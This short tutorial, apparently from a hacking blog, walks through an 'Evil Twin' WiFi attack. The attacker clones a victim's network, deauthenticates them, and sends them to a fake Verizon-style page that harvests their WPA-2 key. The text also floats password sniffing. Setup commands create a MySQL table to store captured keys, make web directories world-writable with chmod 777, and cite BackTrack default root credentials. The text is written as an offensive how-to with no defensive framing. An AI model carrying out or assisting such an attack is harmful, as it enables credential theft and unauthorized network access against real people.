On this technique, named 'Evil Twin', we take a different perspective to the attack. Using a powerful long range wireless card , we clone the target network to confuse our victim. Then, we deauthenticate the victim from his own wireless network and wait until he connects to our access point - which looks exactly like his. :)
When the victim connects, he is redirected to a service page asking for the WPA-2 key in order to access the internet. As soon as we get the key, you can either allow the victim to use the network (maybe improvise some password sniffing?) or just bring it down manually.
For this example I created a service page based on Verizon ISP. The files are placed at the default location (/var/www/). I created a database called 'wpa2', which can be done with the following commands:
Login to MySQL:
mysql -u root -p
Note: Default backtrack user/pass are root/toor
Create the database:
create database wpa2;
use wpa2;
create table content(key1 VARCHAR(64), key2 VARCHAR(64));
chmod 777 /var/
chmod 777 /var/www/*

Finally, start apache and mysql services and check everything works, by going typing localhost on a web-browser.
